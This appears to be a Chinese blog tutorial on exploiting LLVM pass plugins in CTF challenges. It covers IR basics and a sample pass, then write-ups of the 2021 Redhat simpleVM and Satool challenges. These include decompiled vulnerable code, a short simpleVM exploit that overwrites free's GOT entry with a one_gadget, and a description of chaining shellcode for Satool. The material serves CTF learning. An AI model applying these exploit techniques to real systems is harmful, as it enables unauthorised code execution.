llvm pass pwn
196082 慢慢好起来

简要介绍

首先呢,也是同其他博主一样,copy一下百度对于llvm的介绍:

LLVM是构架编译器的框架系统,以C++编写而成,用于优化以任意程序语言编写的程序的编译时间、链接时间、运行时间以及空闲时间,对开发者保持开放,并兼容已有脚本。

LLVM PASS是什么:
pass是一种编译器开发的结构化技术,用于完成编译对象(如IR)的转换、分析或优化等功能。pass的执行就是编译器对编译对象进行转换、分析和优化的过程,pass构建了这些过程所需要的分析结果

在这里插入图片描述

首先我们的源代码会被clang编译器编译成一种中间代码——IR,它连接这编译器的前端和后端,IR的设计很大程度体现着LLVM插件化、模块化的设计哲学,LLVM的各种pass其实都是作用在LLVM IR上的。同时IR也是一个编译器组件接口。通常情况下,设计一门新的编程语言只需要完成能够生成LLVM IR的编译器前端即可,然后就可以轻松使用LLVM的各种编译优化、JIT支持、目标代码生成等功能。

LLVM IR

LLVM的IR的三种存在形式:

  1. 内存格式,只保存在内存中,人无法看到
  2. 不可读的IR,被称作bitcode,文件后缀为bc
  3. 可读的IR,介于高级语言和汇编代码之间,文件后缀为ll

大概就是说,LLVM提供了一种中间语言形式,以及编译链接这种语言的后端能力,那么对于一个新语言,只要开发者能够实现新语言到IR的编译器前端设计,就可以享受到从IR到可执行文件这之间的LLVM提供的所有优化、分析或者代码插桩的能力。而LLVM PASS就是去处理IR文件,通过opt利用写好的so库优化已有的IR,形成新的IR。而LLVM PASS类的pwn就是利用这一过程中可能会出现的漏洞。

从对应格式转化到另一格式的命令:

1
2
3
4
5
.c  => .ll: clang -emit-llvm -S a.c -o a.ll
.c => .bc: clang -emit-llvm -c a.c -o a.bc
.ll => .bc: llvm-as a.ll -o a.bc
.bc => .ll: llvm-dis a.bc -o a.ll
.bc => .s : llc a.bc -o a.s

首先呢,写一个简单的c语言程序:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>

int main() {
char name[0x10];
read(0,name,0x10);
write(1,name,0x10);
printf("wow\n");
}

通过上面所给的指令

1
clang -emit-llvm -S test.c -o test.ll

获得如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
; ModuleID = 'test.c'
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [5 x i8] c"wow\0A\00", align 1

; Function Attrs: nounwind uwtable
define i32 @main() #0 {
%name = alloca [16 x i8], align 16
%1 = getelementptr inbounds [16 x i8], [16 x i8]* %name, i32 0, i32 0
%2 = call i64 @read(i32 0, i8* %1, i64 16)
%3 = getelementptr inbounds [16 x i8], [16 x i8]* %name, i32 0, i32 0
%4 = call i64 @write(i32 1, i8* %3, i64 16)
%5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i32 0, i32 0))
ret i32 0
}

declare i64 @read(i32, i8*, i64) #1

declare i64 @write(i32, i8*, i64) #1

declare i32 @printf(i8*, ...) #1

attributes #0 = { nounwind uwtable "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.ident = !{!0}

!0 = !{!"clang version 3.8.0-2ubuntu4 (tags/RELEASE_380/final)"}

可以看见中间无论是申请变量还是调用函数还是可以很清晰的看出来的。

LLVM PASS

官方文档的一个实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"

using namespace llvm;

namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
return false;
}
};
}

char Hello::ID = 0;

// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass");

// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});

该示例用于遍历IR中的函数,因此结构体Hello继承了FunctionPass,并重写了runOnFunction函数,那么每遍历到一个函数时,runOnFunction都会被调用,因此该程序会输出函数名。我们需要将其编译为模块

1
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared test.cpp -o test.so `llvm-config --ldflags`
1
2
3
4
5
6
7
tcdy@ubuntu:~$ opt -load ./test.so -hello ./test.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.

Hello: main

上面以我们刚刚的IR为例,-hellow是注册的名字

1
static RegisterPass<Hello> X("hello", "Hello World Pass");

最后打印出来函数名字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"

using namespace llvm;

namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();
for(SymbolTableList<BasicBlock>::const_iterator bbIter=F.begin(); bbIter!=bbEnd; ++bbIter){
SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();
SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end();
for(; instIter != instEnd; ++instIter){
errs() << "opcode=" << instIter->getOpcodeName() << " NumOperands=" << instIter->getNumOperands() << "\n";
}
}
return false;
}
};
}

char Hello::ID = 0;

// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass");

// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});

现在在刚刚的基础上对函数的代码进行遍历操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tcdy@ubuntu:~$ opt -load ./test.so -hello ./test.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.

Hello: main
opcode=alloca NumOperands=1
opcode=getelementptr NumOperands=3
opcode=call NumOperands=4
opcode=getelementptr NumOperands=3
opcode=call NumOperands=4
opcode=call NumOperands=2
opcode=ret NumOperands=1

最后可以看到拿到了函数中的指令操作

LLVM PASS逆向分析

一般来说LLVM PASS pwn都是对函数进行PASS操作,所以我们首先要找到runOnFunction函数时如何重写的

image-20220727153234091

一般来说runOnFunction都会在函数表的最下面

2021 redhat simpleVM

首先找到上面所述的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_6830(__int64 a1, llvm::Value *a2)
{
__int64 v2; // rdx
bool v4; // [rsp+7h] [rbp-119h]
size_t v5; // [rsp+10h] [rbp-110h]
const void *Name; // [rsp+28h] [rbp-F8h]
__int64 v7; // [rsp+30h] [rbp-F0h]
int v8; // [rsp+94h] [rbp-8Ch]

Name = (const void *)llvm::Value::getName(a2);
v7 = v2;
if ( "o0o0o0o0" )
v5 = strlen("o0o0o0o0");
else
v5 = 0LL;
v4 = 0;
if ( v7 == v5 )
{
if ( v5 )
v8 = memcmp(Name, "o0o0o0o0", v5);
else
v8 = 0;
v4 = v8 == 0;
}
if ( v4 )
sub_6AC0(a1, a2);
return 0LL;
}

可以看到这里验证的是函数名是否为o0o0o0o0然后进入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_6AC0(__int64 a1, llvm::Function *a2)
{
llvm::BasicBlock *v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+38h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+40h] [rbp-10h] BYREF

v5[1] = __readfsqword(0x28u);
v5[0] = llvm::Function::begin(a2);
while ( 1 )
{
v4 = llvm::Function::end(a2);
if ( (llvm::operator!=(v5, &v4) & 1) == 0 )
break;
v3 = (llvm::BasicBlock *)llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v5);
sub_6B80(a1, v3);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
v5,
0LL);
}
return __readfsqword(0x28u);
}

这里则是遍历函数中的每一个basicblock,取出之后进入sub_6b80函数进一步处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
v39[1] = __readfsqword(0x28u);
v39[0] = llvm::BasicBlock::begin(a2);
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 0x37 )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
s1 = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)s1 = *Name;
*((_QWORD *)s1 + 1) = Name[1];
*((_QWORD *)s1 + 2) = Name[2];
*((_QWORD *)s1 + 3) = Name[3];

这里呢则是遍历basicblock中的每一个操作指令,后续就是类似于vm-pwn中对相应的指令做相应的处理。这里重点关注三段代码即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
else if ( !strcmp(s1, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = REG1;
if ( v22 == 2 )
v24 = REG2;
}
if ( v24 == REG1 )
{
**(_QWORD **)REG1 = *(_QWORD *)REG2;
}
else if ( v24 == REG2 )
{
**(_QWORD **)REG2 = *(_QWORD *)REG1;
}
}
}

这里可以看到指令为store时,通过第一个参数来决定下面是什么寄存器来进行赋值,如果我们可以操控寄存器也就可以实现任意地址写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else if ( !strcmp(s1, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v21 = llvm::CallBase::getArgOperand(v35, 0);
v20 = 0LL;
v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
if ( v19 )
{
v18 = llvm::ConstantInt::getZExtValue(v19);
if ( v18 == 1 )
v20 = REG1;
if ( v18 == 2 )
v20 = REG2;
}
if ( v20 == REG1 )
*(_QWORD *)REG2 = **(_QWORD **)REG1;
if ( v20 == REG2 )
*(_QWORD *)REG1 = **(_QWORD **)REG2;
}
}

根据上面同理,如果可以操控寄存器就可以任意地址读了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
else if ( !strcmp(s1, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v17 = llvm::CallBase::getArgOperand(v35, 0);
v16 = 0LL;
v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
if ( v15 )
{
v14 = llvm::ConstantInt::getZExtValue(v15);
if ( v14 == 1 )
v16 = REG1;
if ( v14 == 2 )
v16 = REG2;
}
if ( v16 )
{
v13 = llvm::CallBase::getArgOperand(v35, 1u);
v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
if ( v12 )
*v16 += llvm::ConstantInt::getZExtValue(v12);
}
}
}

这里我们就可以控制寄存器了

可以在上面看到,这里的指令是放在malloc出来的堆块上面的,并且程序的循环最后会free掉堆块,那么我们的思路就是修改free的got表为one_gadget

exp:

1
2
3
4
5
6
7
8
9
10
void store(int a);
void load(int a);
void add(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x729ec);
store(1);
}

Satool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
## Introduction

A LLVM Pass that can optimize add/sub instructions.

## How to run

opt-12 -load ./mbaPass.so -mba {*.bc/*.ll} -S

## Example

### IR before optimization

```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}
```

### IR after optimization

```
define dso_local i64 @foo(i64 %0) local_unnamed_addr #0 {
%2 = mul i64 %0, 2
%3 = add i64 %2, -132
ret i64 %3
}
```

首先看题目的readme文件,可以从before和after的对比看出来这里做的是压缩优化IR指令,并且限制了只能是sub或者add或者ret

image-20220727154845308

可以看到这道题的runOnFunction更是直接给了出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v30 = this;
v29 = a2;
v28 = 0;
v2 = a2;
if ( llvm::Function::arg_size(a2) != 1 || (v2 = v29, llvm::Function::size(v29) != 1) )
{
v3 = llvm::errs(v2);
llvm::raw_ostream::operator<<(v3, "Function has more than one argument or basicblock\n");
exit(-1);
}
this[5] = this[4];
mprotect(this[4], 0x1000uLL, 3);
`anonymous namespace'::MBAPass::handle((_anonymous_namespace_::MBAPass *)this, v29);
mprotect(this[4], 0x1000uLL, 5);
v27 = `anonymous namespace'::MBAPass::callCode((_anonymous_namespace_::MBAPass *)this);

可以看到函数的开始验证了参数和基本块只允许有一个,然后通过handle函数之后执行callCode函数,并且在handle处理之前内存的权限为可读可写,随后改为了可读可执行。

1
2
3
4
5
6
__int64 __fastcall `anonymous namespace'::MBAPass::callCode(
__int64 (__fastcall **this)(_anonymous_namespace_::MBAPass *, __int64),
__int64 a2)
{
return this[4]((_anonymous_namespace_::MBAPass *)this, a2);
}

可以看到callCode函数是将this[4]直接执行,那么意思很明显就是写shellcode。所以重点还是需要看handle函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
v32 = this;
v31 = a2;
v30 = *((_QWORD *)this + 4) + 0xFF0LL;
v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
Operand = llvm::User::getOperand(Terminator, 0);
if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )
{
*((_DWORD *)this + 12) = 0;
v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
SExtValue = llvm::ConstantInt::getSExtValue(v2);
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, SExtValue);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else if ( (llvm::isa<llvm::Argument,llvm::Value *>((__int64)&Operand) & 1) != 0 )
{
*((_DWORD *)this + 12) = 1;
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
return `anonymous namespace'::MBAPass::writeRet(this);
}
else
{
`anonymous namespace'::MBAPass::writeMovImm64(this, 0, 0LL);
*((_DWORD *)this + 12) = 0;
std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(v26);
std::stack<int>::stack<std::deque<int>,void>(v25);
std::stack<llvm::Value *>::push(v26, &Operand);
v24 = 1;
std::stack<int>::push(v25, &v24);
while ( *((_QWORD *)this + 5) < v30 )
{
if ( !std::stack<llvm::Value *>::size(v26) )
{
`anonymous namespace'::MBAPass::writeRet(this);
break;
}

并且这里根据handle的处理可以看出来是将v30当作结束地址,再看一下比较重要的几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_anonymous_namespace_::MBAPass *__fastcall `anonymous namespace'::MBAPass::writeMovImm64(
_anonymous_namespace_::MBAPass *this,
int a2,
__int64 a3)
{
_anonymous_namespace_::MBAPass *result; // rax

**((_BYTE **)this + 5) = 0x48;
if ( a2 )
*(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 0xBB;
else
*(_BYTE *)(*((_QWORD *)this + 5) + 1LL) = 0xB8;
result = this;
*(_QWORD *)(*((_QWORD *)this + 5) + 2LL) = a3;
*((_QWORD *)this + 5) += 10LL;
return result;
}

可以看到这里其实就是写shellcode

1
2
3
4
>>> test=b'\x48\xbb\xfe\xdc\xba\x98\x76\x54\x32\x10'
>>> disasm(test)
' 0: 48 bb fe dc ba 98 76 54 32 10 movabs rbx, 0x1032547698badcfe'
>>>

但是这里的漏洞点是在handle函数中将this[4]+0xff0当作了结束的位置,所以还存在0x10是我们可写的,所以我们通过借位的思想来书写shellcode

在正常情况下执行:

image-20220727172355078

我们是可以顺利执行结束的

那如果第二次我们的指令刚好到达0xff0执行完毕就会出现以下情况:

image-20220727172455946

这里就会接着跳转回去,随后我们每次可控的内容只有八个字节,所以后续就是分片的思想通过jmp指令连接起我们的shellcode

讲两句:这司马难度的shellcode确定是想我们比赛的时候来做吗?

exp略长,需要的 https://github.com/196082/196082 自取


参考链接:https://bbs.pediy.com/thread-273119.htm#msg_header_h1_3

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量